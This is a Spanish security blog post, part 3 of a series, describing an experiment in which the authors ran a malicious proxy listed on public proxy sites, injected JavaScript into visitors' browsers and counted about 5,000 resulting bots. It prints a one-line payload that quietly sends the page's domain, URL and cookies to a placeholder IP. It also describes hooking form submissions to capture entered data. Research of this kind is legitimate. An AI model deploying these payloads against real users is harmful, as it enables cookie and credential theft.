sábado, marzo 10, 2012

Owning bad guys & mafia with Javascript botnets (3 de 5)

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

Distribuyendo el servidor Proxy por Internet

Para conseguir que los "malos" utilizasen nuestro servidor Proxy malicioso la idea fue muy simple: Lo dimos de alta en listas de servidores Proxy. Durante mucho tiempo, y en muchos sitios y blogs, se recomienda el uso de servidores Proxy para conseguir anonimato de dirección IP, algo que es común que hagamos muchos entre los que me he de incluir. Para ello se seleccionó un sitio al azar y dimos de alta la dirección IP con el puerto 31337, para que llamase un poco más la atención.

Figura 9: Servicio de servidores proxy

Estos sitios de listas de servidores Proxy realizan tests de seguridad a los servidores Proxy, pero ni mucho menos como los de las redes TOR. De hecho, el verdadero problema no es que el sitio donde se de alta el servidor Proxy haga los tests o no, sino que una vez que entra en la lista, hay cientos de sitios y aplicaciones que están descargando esas listas si realizar ninguna comprobación de seguridad.

Basta con pasar la primera prueba, que por lo que vimos eran pruebas de conexión y funcionalidad, y la "magia" de Internet hará que tu dirección IP aparezca en miles de sitios, como es lo que ocurrió con nuestra dirección IP.

Figura 10: La dirección IP del servidor Proxy apareció en miles de sitios

Expansión de la botnet

Una vez que se produjo la distribución masiva de la dirección IP, el resto del trabajo era esperar a ver cuantos "malos" empezaban a estar infectados por los códigos Javascript. Para ello se hizo un pequeño panel en PHP donde se contabilizaban los bots que habían solicitado los payloads alguna vez y los que los habían solicitado en las últimas 24 horas.

El número de equipos que se infectaron era tan alto al principio que nos tiraban el panel, así que hubo que optimizar un poco las consultas, y ser mucho más selectivo en las conexiones y datos que se tomaban, para no saturar nuestro pequeño servidor con tanto dato.

Figura 11: Número de bots activos y por paises. Rusia y Brasil Wins.

En este caso se puede ver cómo el panel alcanzó en uno de los momentos cas 5.000 bots con casi 1.000 de ellos activos en las últimas horas. Como se puede ver, al hacer un análisis de de los orígenes de conexión, Rusia, Brasil e Indonesia eran los países más activos en a la hora de utilizar estos servicios. Curiosamente coinciden con el origen de mucho malware.

Haciendo Payloads

Una vez que teníamos la pasarela Javascript introducida en el navegador... ¿qué se podría hacer desde allí?. El volumen de ideas que se os puede ocurrir es enorme. Desde hacer ataques D.D.O.S, hasta defacear el aspecto que tienen las webs visitadas por ese cliente, pasando por ataques de Phishing para robar credenciales de acceso de sitios especiales o robar las cookies de las sesiones.

Como no teníamos intención de hacer nada malo con esto, y nuestro objetivo era hacer un experimento para ver qué tipo de cosas se hacían a través de los servidores Proxy de Internet, sólo se pusieron en marcha un par de payloads.
1) Identificación de bot, y robo de cookies que no fueran HTTPOnly y su URL
2) Robo de datos enviados en formularios cargados por HTTP
Identificando el BOT y la URL de conexión

Dejamos fuera de los payloads las conexiones HTTP-s y las cookies HTTPOnly, porque no teníamos un objetivo malicioso real, y porque nos era suficiente como muestra obtener esa información.

De esta forma, el primer payload de identificación sólo hacía esto:
document.write(“<img id="domaingrabber" src="http://X.X.X.X/panel/ domaingrabber.php?id=0.0.0.0 &domain="+document.domain+" &location=" +document.location+"& cookie="+document.cookie+"" style="display: none;" />");
Lo que nos permitía saber en qué URL se estaba conectando y si tenía alguna cookie de sesión insegura. Esta información nos permitió encontrar cosas muy jugosas y descubrir un nuevo Internet lleno de URLs que no habíamos visitado nunca.

Consiguiendo los datos de los formularios

Para conseguir los datos de los formularios, se generó un pequeño script que hookeaba los eventos submit de los forms, con este sencillo código Javascript.

Figura 12: Script para hookear los submits de los forms

Y el resto fue descubrir lo que se hace a través de un servidor Proxy anónimo en Internet... ¿Qué nos encontramos por allá?

Saludos Malignos!

**************************************************************************************************
- Owning bad guys & mafia with Javascript botnets (1 de 5)
- Owning bad guys & mafia with Javascript botnets (2 de 5)
- Owning bad guys & mafia with Javascript botnets (3 de 5)
- Owning bad guys & mafia with Javascript botnets (4 de 5)
- Owning bad guys & mafia with Javascript botnets (5 de 5)
**************************************************************************************************

3 comentarios:

  1. Magnífico trabajo, como siempre. Solo un pequeño comentario que no sé si es descuido o no pero, por las capturas, es posible obtener la dirección vuestro proxy de pruebas a pesar de que ya esté dado de bajo en xroxy.

    Un saludo.

    ResponderEliminar
  2. No pasa nada fjavier2ja, en la rooted se jactó de hacer varias veces la coña de enseñar la dirección IP y así ocurrió... que alguien se hizo un buen CTF con él jajaja

    ResponderEliminar
  3. Me está gustando bastante la presentación.

    Todo estaba al alcance de cualquier persona (montar un proxy, injectar código javascript), y vosotros habeis tenido el ingenio de unirlo haciendo un trabajo increíble!

    Gracias Chema & Manu! :p

    ResponderEliminar